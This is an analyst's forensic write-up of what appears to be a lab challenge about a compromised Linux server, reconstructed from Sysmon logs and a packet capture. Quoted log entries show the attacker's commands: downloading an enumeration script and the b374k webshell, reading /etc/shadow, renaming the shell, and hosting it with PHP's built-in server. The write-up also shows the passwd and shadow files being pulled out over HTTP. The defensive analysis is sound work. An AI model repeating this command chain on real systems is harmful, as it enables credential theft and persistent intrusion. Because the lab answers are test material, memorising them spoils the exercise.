PEAK2

Analyst: Benjamin Liu

Date: 4/7/2026

Summary

This investigation analyzes the activities of an attacker built revere webshell. Suspicious binary running on the victim system, it helps Attacker esclate privilege to get the root password. After logged on system, download php tools to build a websever. Then reverse webshell was built with FTP. Passwd and shadow critical files were exfiltrated by GET requests.

Scenario

- Another incident from Mountain Top Solutions, leading to full compromise of an Linux server. We got you the Sysmon events and network capture. Investigate the malicious activity.
- Tool: Wireshark
- Log: SYSmon, pcap

Indicators of Compromise(IOCs)

- NetWork IOCs
  - 192.168.1.34 (attacker's IP)
  - https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh
  - https://github.com/b374k/b374k.archive/refs/tags/v3.2.3.zip
- File IOCs
  - /var/b4ckup
  - /tmp/lse.sh
  - /var/local/updates/update.php
  - /var/local/updates/b374k.php
- Behavioral IOCs
  - local privilege escalation enumeration
  - Unauthorized external downloads
  - FTP connections with attacker's IP
  - Start PHP built-in web sever
  - File exfiltration via GET

MITRE ATT&CK Mapping

Behavoirs	MITRE
local privilege escalation enumeration	T1082
Cretical Files Discovery with ls command	T1083
Execution payloads	T1059
Root log on with password	T1078
File exfiltration	T1041
Unauthorized download	T1105
Webshell deployment	T1505.003

Recommandations

- Immediate Actions
  - Disable and rotate credentials for users.
  - Block attacker IP and enforce firewall restractions.
  - Remove malicious scripts adn artifacts.
  - Terminate the PHP built-in web sever process.
- Long-Term Hardening
  - Restrict SSH to VPN or jump Host
  - Deploy EDR monitoring on hosts.
  - Implement outbound firewall rules
  - Monitor for reverse connections (FTP, high ports)

Investigation Screenshots

- **What is the full path of the running suspicious binary?**
  - we try to search suspicious binaries out of regular path. If an attacker download malicious tools, they may be in the /tmp or /var.
  - So after searching, we get the answer: /var/b4ckup

```
Name="ProcessGuid">{30815913-0e67-6189-cf80-040800000000}</Data><Data
Name="ProcessId">2536</Data><Data Name="Image">/var/b4ckup</Data><Data
Name="FileVersion">-</Data><Data Name="Description">-</Data><Data
Name="Product">-</Data><Data Name="Company">-</Data><Data
Name="OriginalFileName">-</Data><Data Name="CommandLine">/var/b4ckup</D
Name="CurrentDirectory">/home/dba</Data><Data Name="User">dba</Data><Da
Name="LogonGuid">{30815913-0000-0000-e803-000000000000}</Data><Data
Name="LogonId">1000</Data><Data Name="TerminalSessionId">2</Data><Data
Name="IntegrityLevel">no level</Data><Data Name="Hashes">-</Data><Data
Name="ParentProcessGuid">{00000000-0000-0000-0000-000000000000}</Data><
Name="ParentProcessId">565</Data><Data Name="ParentImage">-</Data><Data
Name="ParentCommandLine">-</Data><Data
Name="ParentUser">-</Data></EventData></Event>
Nov  8 08:47:54 dba-corp sysmon: <Event><System><Provider Name="Linux-S
Guid="{ff032593-a8d3-4f13-b0d6-01fc615a0f97}"/><EventID>1</EventID><Ver
5</Version><Level>4</Level><Task>1</Task><Opcode>0</Opcode><Keywords>
0x8000000000000000</Keywords><TimeCreated
SystemTime="2021-11-08T11:47:54.860833000Z"/><EventRecordID>
24118</EventRecordID><Correlation/><Execution ProcessID="2133"
```

Name="Image">/var/ Find Find

- **What is the local user that the attacker had access to?**
  - When we investigate the EventId:3(connection event) , we get the answer: dba


```
215 Nov  8 09:07:53 dba-corp sysmon: <Event><System><Provider Name="Linux-Sysmon"
Guid="{ff032593-a8d3-4f13-b0d6-01fc615a0f97}"/><EventID>3</EventID><Version>5</Version><Level>
4</Level><Task>3</Task><Opcode>0</Opcode><Keywords>0x8000000000000000</Keywords><TimeCreated
SystemTime="2021-11-08T12:07:53.886472000Z"/><EventRecordID>
32114</EventRecordID><Correlation/><Execution ProcessID="2133" ThreadID="2133"/><Channel>
Linux-Sysmon/Operational</Channel><Computer>dba-corp</Computer><Security
UserId="0"/></System><EventData><Data Name="RuleName">#001</Data><Data Name="UtcTime">2021-11-08
12:07:53.885</Data><Data Name="ProcessGuid">{30815913-12ff-6189-88b4-95b721560000}</Data><Data
Name="ProcessId">13382</Data><Data Name="Image">/usr/bin/python2.7</Data><Data
Name="User">dba</Data><Data Name="Protocol">tcp</Data><Data Name="Initiated">false</Data><Data
Name="SourceIsIpv6">false</Data><Data Name="SourceIp">192.168.1.34</Data><Data
Name="SourceHostname">-</Data><Data Name="SourcePort">59296</Data><Data
Name="SourcePortName">-</Data><Data Name="DestinationIsIpv6">false</Data><Data
Name="DestinationIp">192.168.1.12</Data><Data Name="DestinationHostname">-</Data><Data
Name="DestinationPort">8080</Data><Data Name="DestinationPortName">-</Data></EventData></Event>
```


- **What is the attacker IP?**
  - we know that the destinationIP of a SSH request is the victim ip address. So the sourceIP is the Attacker's IPaddress
  - Answer: 192.168.1.34
- **What port does the binary gave reverse shell to the attacker?**
  - For investigating reverse shell, We search attacker's ip as destination IP address in pcap file. We get many FTP requests.
  - Answer: 21


```
No.   Time        Source        Destination   Protocol Length Info
1639  127.558359  192.168.1.12  192.168.1.34  TCP      68     44896 → 21 [ACK] Seq=606 Ack=981542 Win=1611520 Len=0 TSval=3934200104 TSecr=1156305312
1640  127.558494  192.168.1.12  192.168.1.34  FTP      740    Request: C!\245iH\376\221\357W\230\345#\345v2G!\352q\356C!\245hC!\247\341C!\245hcG\315\217\321\a\333a\242\345\271\033\265\303\263pg\326\252\255\342t/\371n\3
1643  127.567018  192.168.1.12  192.168.1.34  TCP      68     44896 → 21 [ACK] Seq=1278 Ack=981654 Win=1611520 Len=0 TSval=3934200113 TSecr=1156305321
1644  127.567142  192.168.1.12  192.168.1.34  FTP      228    Request: \251\334\366\205\242\003\302\003\275e\266\317\017\213a\253\313\027"\002\251\334\366\204\251\334\366
1647  127.568479  192.168.1.12  192.168.1.34  FTP      276    Request: \303\270s\177\310gG\371\327\00135e\357\344Q\241s\247\370\303\270s~\303\270s\307\303\270s~\313Lb\245IG\213\345\347\204E\017\237\365\252FsNgo\321\365
1650  127.569933  192.168.1.12  192.168.1.34  FTP      324    Request: R%\v\374Y\372?zF\234K\266\364r\234\3220\356\337{R%\v\375R%\v\024R%\v\375\202\025\024\254V\t\217\230$\336\351\327\277\333K\307\321-\310\213\222\266\
1653  127.571605  192.168.1.12  192.168.1.34  FTP      628    Request: \250\201i\304\243^]B\2748)\216\016\326\376\352\312J\275C\250\201i\305\250\201k\334\250\201i\305~4-\215\233\327|FU}3\030\314]\272\262!b\373\362\344\
1659  127.574655  192.168.1.12  192.168.1.34  FTP      564    Request: \255Dz!\246\233N\247\271\375:k\v\023\355\017\317\217\256\246\255Dz \255D{\371\255Dz d\t\031
4241  187.904033  192.168.1.12  192.168.1.34  FTP      212    Request: \032Z\240$\021\205\224\242\016\343\340n\274
4831  248.254547  192.168.1.12  192.168.1.34  FTP      212    Request: \336^\202\242\325\201\266$\312\347\302\350x\t\025\214\274\225V%\336^\202\243\336^\202\332\336^\202\243`ogK\001\034\215\tsY\275@\233V\3028\003\207\2
5152  308.504337  192.168.1.12  192.168.1.34  FTP      212    Request: \232\363\305^\221,\361\330\216J\205\024<\244Rp\3708\021\331\232\363\305_\232\363\305&\232\363\305_\316\266C\351\227~,F\206\024\317y\a\201s\274=N\03
5340  368.719534  192.168.1.12  192.168.1.34  FTP      212    Request: \204f\221H\217\271\245\316\220\337\321\002"1\006f\346\255E\317\204f\221I\204f\2210\204f\221I\204\026/\002\004\356\312n\020l"6\224^\000\360\341:\361
5497  428.925747  192.168.1.12  192.168.1.34  FTP      212    Request: \031Q\260%\022\216\204\243
5651  489.080348  192.168.1.12  192.168.1.34  FTP      212    Request: \355\223\263\315\346L\207K\371*\363\207K\304$\343\217Xg]\355\223\263\314\355\223\263\265\355\223\263\314\262
5755  549.157961  192.168.1.12  192.168.1.34  FTP      212    Request: O\332b\3320\005V\[c"\220\351\215\365\364-\021\266]O\332b\3330\332b\2420\332b\333\230>\223F\001\373\375\345\245X\345\357\343\347\304\220\317\v\2619\
5838  609.233530  192.168.1.12  192.168.1.34  FTP      212    Request: \367\373>0\374$
5945  669.482325  192.168.1.12  192.168.1.34  FTP      212    Request: \005\301"\265\016\036\0263\021xb\377\243\226\265\233g
6085  729.572056  192.168.1.12  192.168.1.34  FTP      212    Request: \300\233>J\313D
6180  789.702310  192.168.1.12  192.168.1.34  FTP      212    Request: \233\033/\316\220\304\033H\217\242o\204=L\270\340\371\320\373I\233\033/\317\233\033/\266\233\033/\317\320:\303\306\241Y\343\t\367\206a.\272\341m\30
6183  793.731433  192.168.1.12  192.168.1.34  FTP      2340   Request: \322z\335Z\331\245\351\334\306\303\235\020t-Jt\260\261\t\335\322z\335[\322z\325\222\322z\335[\200G\373
6494  854.076406  192.168.1.12  192.168.1.34  FTP      212    Request: \356\240\275\a\345\177\211\201\372\031\375MH\367*)\214ki\200\356\240\275\006\356\240\275\177\356\240\275\006\302\223\031\017\241j<\256.\024lY;\276^
6600  914.288661  192.168.1.12  192.168.1.34  FTP      212    Request: %\3330\320.\004\004V1bp\232\203\214\247\376G\020\344W%\3330\321%\3330\250%\3330\321$\316\034WL\207\306:\255)\313\223\215[\241\240\337\250\326\261**
6657  949.624259  192.168.1.12  192.168.1.34  FTP      324    Request: z`\347pq\277\323\366n\331\247:\3347p^\030\2533\367z`\347qz`\347\230z`\347q\2576\362\032\277\251\267\344M\242\234\245$\256#:#\331\2723\277}\034\237\
6660  952.606195  192.168.1.12  192.168.1.34  FTP      260    Request: \334U\325\253\327\212\341-\310\354\225\341z\002B\205\276\236\001,\334U\325\252\334U\325\003\334U\325\252/\025\241\266Ji\337\357y7\256\020\2530\211\
6663  952.610107  192.168.1.12  192.168.1.34  FTP      228    Request: \350\233\264$\343D\200\325\374"\364\031N\314#}\212P`\324\350\233\264R\350\233\264\333\350\233\264R\256=\257~:\236}Y\365\300W7\3376\016i@]X\222t':\2
6666  955.354281  192.168.1.12  192.168.1.34  FTP      244    Request: B\030\246\301I\307\222GV\241\346\213\34401\357 \323rFB\030\246\300B\030\246YB\030\246\300r\317U\362\331\214\261\002\224\271\235\225\306\232\233\366
6668  955.376867  192.168.1.12  192.168.1.34  FTP      292    Request: M\237\334\333F@\350]Y&\234\221\353\310K\365/T\b\M\237\334\332M\237\334\023M\237\334\333qu:\202\226\320\350\f\250\031C\3129\234\002 B\246N\271q\342\
6670  955.377531  192.168.1.12  192.168.1.34  FTP      244    Request: n\036\313\311e\301\377Oz\247\213\203\3101\\347\f\325\037Nn\036\313\310n\036\313On\036\313\311\302\304\304\253\022\217^\200D./\032&4\216E\362\352C\2
```

- **Attacker downloaded a script from an external URL. What is the full command used for download?**
  - Search "https" in sysmon log.
  - Answer: wget https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh

```
ubuntu@ip-10-0-8-103:~/Desktop/Investigations$ cat sysmon.txt | grep -i "<EventID>1<"| grep -i "HTTPS"
Nov  8 09:02:56 dba-corp sysmon: <Event><System><Provider Name="Linux-Sysmon" Guid="{ff032593-a8d3-4f13-b0d6-01fc615a0f97}"/><EventID>1</EventID><Version>5</Version><Level>4</Level><Task>1</Task><Opcode>0</Opcod
e><Keywords>0x8000000000000000</Keywords><TimeCreated SystemTime="2021-11-08T12:02:56.927230000Z"/><EventRecordID>24144</EventRecordID><Correlation/><Execution ProcessID="2133" ThreadID="2133"/><Channel>Linux-Sy
smon/Operational</Channel><Computer>dba-corp</Computer><Security UserId="0"/></System><EventData><Data Name="RuleName">-</Data><Data Name="UtcTime">2021-11-08 12:02:56.923</Data><Data Name="ProcessGuid">{3081591
3-11f0-6189-70dc-b9f824560000}</Data><Data Name="ProcessId">2714</Data><Data Name="Image">/usr/bin/wget</Data><Data Name="FileVersion">-</Data><Data Name="Description">-</Data><Data Name="Product">-</Data><Data
Name="Company">-</Data><Data Name="OriginalFileName">-</Data><Data Name="CommandLine">wget https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh</Data><Data Name="CurrentDirectory
">/tmp</Data><Data Name="User">dba</Data><Data Name="LogonGuid">{30815913-0000-0000-e803-000000000000}</Data><Data Name="LogonId">1000</Data><Data Name="TerminalSessionId">2</Data><Data Name="IntegrityLevel">no
level</Data><Data Name="Hashes">-</Data><Data Name="ParentProcessGuid">{30815913-11a3-6189-0824-51f966550000}</Data><Data Name="ParentProcessId">2688</Data><Data Name="ParentImage">/bin/bash</Data><Data Name="Pa
rentCommandLine">bash</Data><Data Name="ParentUser">dba</Data></EventData></Event>
```

- **Attacker had access to 2 critical files, what are they?**
  - Why does the question mention 2 critical files? What the attacker will do for them? We guess the attacker may download or read We search "GET" request in pcap file and "cat", "nano", "vim" in sysmon log.

Filter: http.request.method==GET Expression... Clear Apply Save

No.	Time	Source	Destination	Protocol	Length	Info
252	110.117556	192.168.1.12	34.107.221.82	HTTP	364	GET /success.txt HTTP/1.1
279	110.287019	192.168.1.12	34.107.221.82	HTTP	369	GET /success.txt?ipv4 HTTP/1.1
3755	154.763725	192.168.1.12	35.224.170.84	HTTP	155	GET / HTTP/1.1
4016	170.012456	192.168.1.12	34.107.221.82	HTTP	364	GET /success.txt HTTP/1.1
4025	170.051698	192.168.1.12	34.107.221.82	HTTP	369	GET /success.txt?ipv4 HTTP/1.1
4105	174.304798	192.168.1.12	34.107.221.82	HTTP	364	GET /success.txt HTTP/1.1
4114	174.336615	192.168.1.12	34.107.221.82	HTTP	369	GET /success.txt?ipv4 HTTP/1.1
5439	425.501951	192.168.1.12	35.232.111.17	HTTP	155	GET / HTTP/1.1
6077	728.501924	192.168.1.12	35.224.170.84	HTTP	155	GET / HTTP/1.1
7063	1025.490404	192.168.1.12	35.232.111.17	HTTP	155	GET / HTTP/1.1
10355	1325.414935	192.168.1.12	35.224.170.84	HTTP	155	GET / HTTP/1.1
10359	1325.492506	192.168.1.34	192.168.1.12	HTTP	204	GET /passwd HTTP/1.1
10388	1329.853035	192.168.1.34	192.168.1.12	HTTP	204	GET /shadow HTTP/1.1
12376	1626.441992	192.168.1.12	35.232.111.17	HTTP	155	GET / HTTP/1.1
13164	1872.260016	192.168.1.34	192.168.1.12	HTTP	405	GET /update.php HTTP/1.1
13176	1872.430696	192.168.1.34	192.168.1.12	HTTP	316	GET /favicon.ico HTTP/1.1
13226	1887.861655	192.168.1.34	192.168.1.12	HTTP	505	GET /update.php HTTP/1.1

21-11-08 12:07:49.524820	192.168.1.34	192.168.1.12	HTTP	204	GET /passwd HTTP/1.1
21-11-08 12:07:53.885349	192.168.1.34	192.168.1.12	HTTP	204	GET /shadow HTTP/1.1

```
59  Nov  8 09:01:59 dba-corp sysmon: <Event><System><Provider Name="Linux-Sysmon"
    Guid="{ff032593-a8d3-4f13-b0d6-01fc615a0f97}"/><EventID>1</EventID><Version>5</Version><Level>
    4</Level><Task>1</Task><Opcode>0</Opcode><Keywords>0x8000000000000000</Keywords><TimeCreated
    SystemTime="2021-11-08T12:01:59.181207000Z"/><EventRecordID>
    24132</EventRecordID><Correlation/><Execution ProcessID="2133" ThreadID="2133"/><Channel>
    Linux-Sysmon/Operational</Channel><Computer>dba-corp</Computer><Security
    UserId="0"/></System><EventData><Data Name="RuleName">-</Data><Data Name="UtcTime">2021-11-08
    12:01:59.178</Data><Data Name="ProcessGuid">{30815913-11b7-6189-d099-d80e00560000}</Data><Data
    Name="ProcessId">2699</Data><Data Name="Image">/bin/cat</Data><Data
    Name="FileVersion">-</Data><Data Name="Description">-</Data><Data Name="Product">-</Data><Data
    Name="Company">-</Data><Data Name="OriginalFileName">-</Data><Data Name="CommandLine">cat /etc/
    passwd</Data><Data Name="CurrentDirectory">/home/dba</Data><Data Name="User">dba</Data><Data
```

```
Nov  8 09:04:47 dba-corp sysmon: <Event><System><Provider Name="Linux-Sysmon"
Guid="{ff032593-a8d3-4f13-b0d6-01fc615a0f97}"/><EventID>1</EventID><Version>5</Version><Level>
4</Level><Task>1</Task><Opcode>0</Opcode><Keywords>0x8000000000000000</Keywords><TimeCreated
SystemTime="2021-11-08T12:04:47.327280000Z"/><EventRecordID>
28692</EventRecordID><Correlation/><Execution ProcessID="2133" ThreadID="2133"/><Channel>
Linux-Sysmon/Operational</Channel><Computer>dba-corp</Computer><Security
UserId="0"/></System><EventData><Data Name="RuleName">-</Data><Data Name="UtcTime">2021-11-08
12:04:47.222</Data><Data Name="ProcessGuid">{30815913-125f-6189-d0d9-7803c0550000}</Data><Data
Name="ProcessId">7164</Data><Data Name="Image">/bin/cat</Data><Data
Name="FileVersion">-</Data><Data Name="Description">-</Data><Data Name="Product">-</Data><Data
Name="Company">-</Data><Data Name="OriginalFileName">-</Data><Data Name="CommandLine">cat /etc/
shadow</Data><Data Name="CurrentDirectory">/tmp</Data><Data Name="User">dba</Data><Data
```

- **What is the port from which the attacker downloaded those files from the server?**

- we can get the details from pcap file. Just from the GET request from the attacker's IP to victim IP.
- Answer:8080

```
10359 2021-11-08 12:07:49.524820   192.168.1.34   192.168.1.12   HTTP   204 GET /passwd HTTP/
10388 2021-11-08 12:07:53.885349   192.168.1.34   192.168.1.12   HTTP   204 GET /shadow HTTP/

▸ Frame 10359: 204 bytes on wire (1632 bits), 204 bytes captured (1632 bits)
▸ Linux cooked capture
▸ Internet Protocol Version 4, Src: 192.168.1.34, Dst: 192.168.1.12
▸ Transmission Control Protocol, Src Port: 59294, Dst Port: 8080, Seq: 1, Ack: 1, Len: 136
▾ Hypertext Transfer Protocol
  ▸ GET /passwd HTTP/1.1\r\n
    User-Agent: Wget/1.21\r\n
    Accept: */*\r\n
    Accept-Encoding: identity\r\n
    Host: 192.168.1.12:8080\r\n
    Connection: Keep-Alive\r\n
    \r\n
    [Full request URI: http://192.168.1.12:8080/passwd]
    [HTTP request 1/1]
    [Response in frame: 10367]
```

- **Attacker after getting the root password, what service/port attacker logged in?**
  - We have know the date of viewing passwd file is on Nov 8 09:01:59. The following service the attacker logged in is the ssh request on 09:02:18.
  - Answer: SSH/22

```
Nov  8 09:02:18 dba-corp sysmon: <Event><System><Provider Name="Linux-Sysmon"
Guid="{ff032593-a8d3-4f13-b0d6-01fc615a0f97}"/><EventID>1</EventID><Version>
5</Version><Level>4</Level><Task>1</Task><Opcode>0</Opcode><Keywords>
0x8000000000000000</Keywords><TimeCreated
SystemTime="2021-11-08T12:02:18.908616000Z"/><EventRecordID>
24135</EventRecordID><Correlation/><Execution ProcessID="2133"
ThreadID="2133"/><Channel>Linux-Sysmon/Operational</Channel><Computer>
dba-corp</Computer><Security UserId="0"/></System><EventData><Data
Name="RuleName">-</Data><Data Name="UtcTime">2021-11-08
12:02:18.901</Data><Data
Name="ProcessGuid">{30815913-11ca-6189-e007-836528560000}</Data><Data
Name="ProcessId">2701</Data><Data Name="Image">/usr/sbin/sshd</Data><Data
Name="FileVersion">-</Data><Data Name="Description">-</Data><Data
Name="Product">-</Data><Data Name="Company">-</Data><Data
Name="OriginalFileName">-</Data><Data Name="CommandLine">/usr/sbin/sshd -D
-R</Data><Data Name="CurrentDirectory">/</Data><Data
Name="User">root</Data><Data
Name="LogonGuid">{30815913-0000-0000-0000-000000000000}</Data><Data
Name="LogonId">0</Data><Data Name="TerminalSessionId">4294967295</Data><Data
Name="IntegrityLevel">no level</Data><Data Name="Hashes">-</Data><Data
Name="ParentProcessGuid">{30815913-0d37-6189-e017-360780550000}</Data><Data
Name="ParentProcessId">669</Data><Data Name="ParentImage">/usr/sbin/
sshd</Data><Data Name="ParentCommandLine">/usr/sbin/sshd -D</Data><Data
Name="ParentUser">root</Data></EventData></Event>
```

- **Attacker downloaded a zip file to install a web shell, what is the name and version of the webshell.**
  - search ".zip"
  - Answer : b374K, v3.2.3

```
8474  Nov  8 09:12:30 dba-corp sysmon: <Event><System><Provider Name="Linux-Sysmon"
      Guid="{ff032593-a8d3-4f13-b0d6-01fc615a0f97}"/><EventID>1</EventID><Version>5</Version><Level>
      4</Level><Task>1</Task><Opcode>0</Opcode><Keywords>0x8000000000000000</Keywords><TimeCreated
      SystemTime="2021-11-08T12:12:30.820557000Z"/><EventRecordID>
      32225</EventRecordID><Correlation/><Execution ProcessID="2133" ThreadID="2133"/><Channel>
      Linux-Sysmon/Operational</Channel><Computer>dba-corp</Computer><Security
      UserId="0"/></System><EventData><Data Name="RuleName">-</Data><Data Name="UtcTime">2021-11-08
      12:12:30.817</Data><Data Name="ProcessGuid">{30815913-142e-6189-705c-e3acd5550000}</Data><Data
      Name="ProcessId">13556</Data><Data Name="Image">/usr/bin/wget</Data><Data
      Name="FileVersion">-</Data><Data Name="Description">-</Data><Data Name="Product">-</Data><Data
      Name="Company">-</Data><Data Name="OriginalFileName">-</Data><Data Name="CommandLine">wget
      https://github.com/b374k/b374k/archive/refs/tags/v3.2.3.zip</Data><Data
```


- **Attacker unzipped the file and renamed the web shell folder and also a webshell file. What is the new foldername and filename?**
  - Following items show the "mv" command, so we get the answer.
  - Answer: updates/ update.php


```
Nov  8 09:13:11 dba-corp sysmon: <Event><System><Provider Name="Linux-Sysmon"
Guid="{ff032593-a8d3-4f13-b0d6-01fc615a0f97}"/><EventID>1</EventID><Version>
5</Version><Level>4</Level><Task>1</Task><Opcode>0</Opcode><Keywords>
0x8000000000000000</Keywords><TimeCreated
SystemTime="2021-11-08T12:13:11.290287000Z"/><EventRecordID>
32233</EventRecordID><Correlation/><Execution ProcessID="2133"
ThreadID="2133"/><Channel>Linux-Sysmon/Operational</Channel><Computer>
dba-corp</Computer><Security UserId="0"/></System><EventData><Data
Name="RuleName">-</Data><Data Name="UtcTime">2021-11-08
12:13:11.289</Data><Data
Name="ProcessGuid">{30815913-1457-6189-880b-5c6de7550000}</Data><Data
Name="ProcessId">13586</Data><Data Name="Image">/bin/mv</Data><Data
Name="FileVersion">-</Data><Data Name="Description">-</Data><Data
Name="Product">-</Data><Data Name="Company">-</Data><Data
Name="OriginalFileName">-</Data><Data Name="CommandLine">mv b374k.php
update.php</Data><Data Name="CurrentDirectory">/var/local/updates</Data><Data
Name="User">root</Data><Data
Name="LogonGuid">{30815913-13a9-6189-0000-000003000000}</Data><Data
Name="LogonId">0</Data><Data Name="TerminalSessionId">10</Data><Data
Name="IntegrityLevel">no level</Data><Data Name="Hashes">-</Data><Data
Name="ParentProcessGuid">{30815913-13a9-6189-08a4-863c45560000}</Data><Data
Name="ParentProcessId">13510</Data><Data Name="ParentImage">/bin/
bash</Data><Data Name="ParentCommandLine">-bash</Data><Data
Name="ParentUser">root</Data></EventData></Event>
```


- **How did the attacker host this webshell. What is the root directory of the webshell and what is the command used to host the file?**
  - Follow the time, we can find the command about php. We search it, and then we know that this command starts a web server which can be used by the attacker.
  - Answer: /var/local/updates, php -S 0.0.0.0:443

```
Nov  8 09:16:26 dba-corp sysmon: <Event><System><Provider Name="Linux-Sysmon"
Guid="{ff032593-a8d3-4f13-b0d6-01fc615a0f97}"/><EventID>1</EventID><Version>
5</Version><Level>4</Level><Task>1</Task><Opcode>0</Opcode><Keywords>
0x8000000000000000</Keywords><TimeCreated
SystemTime="2021-11-08T12:16:26.252326000Z"/><EventRecordID>
32235</EventRecordID><Correlation/><Execution ProcessID="2133"
ThreadID="2133"/><Channel>Linux-Sysmon/Operational</Channel><Computer>
dba-corp</Computer><Security UserId="0"/></System><EventData><Data
Name="RuleName">-</Data><Data Name="UtcTime">2021-11-08
12:16:26.234</Data><Data
Name="ProcessGuid">{30815913-151a-6189-f01f-6a4481550000}</Data><Data
Name="ProcessId">13590</Data><Data Name="Image">/usr/bin/php7.2</Data><Data
Name="FileVersion">-</Data><Data Name="Description">-</Data><Data
Name="Product">-</Data><Data Name="Company">-</Data><Data
Name="OriginalFileName">-</Data><Data Name="CommandLine">php -S
0.0.0.0:443</Data><Data Name="CurrentDirectory">/var/local/updates</Data><Data
Name="User">root</Data><Data
Name="LogonGuid">{30815913-13a9-6189-0000-000003000000}</Data><Data
Name="LogonId">0</Data><Data Name="TerminalSessionId">10</Data><Data
Name="IntegrityLevel">no level</Data><Data Name="Hashes">-</Data><Data
Name="ParentProcessGuid">{30815913-13a9-6189-08a4-863c45560000}</Data><Data
Name="ParentProcessId">13510</Data><Data Name="ParentImage">/bin/
bash</Data><Data Name="ParentCommandLine">-bash</Data><Data
Name="ParentUser">root</Data></EventData></Event>
```


⚡ `php -S 0.0.0.0:443` — What does it do?

This command launches **PHP's built-in web server**, binding it to:

- **0.0.0.0** → all network interfaces
- **port 443** → the default HTTPS port

So the effect is:

> **Start a lightweight web server that serves files from the current directory, accessible from any IP, on port 443.**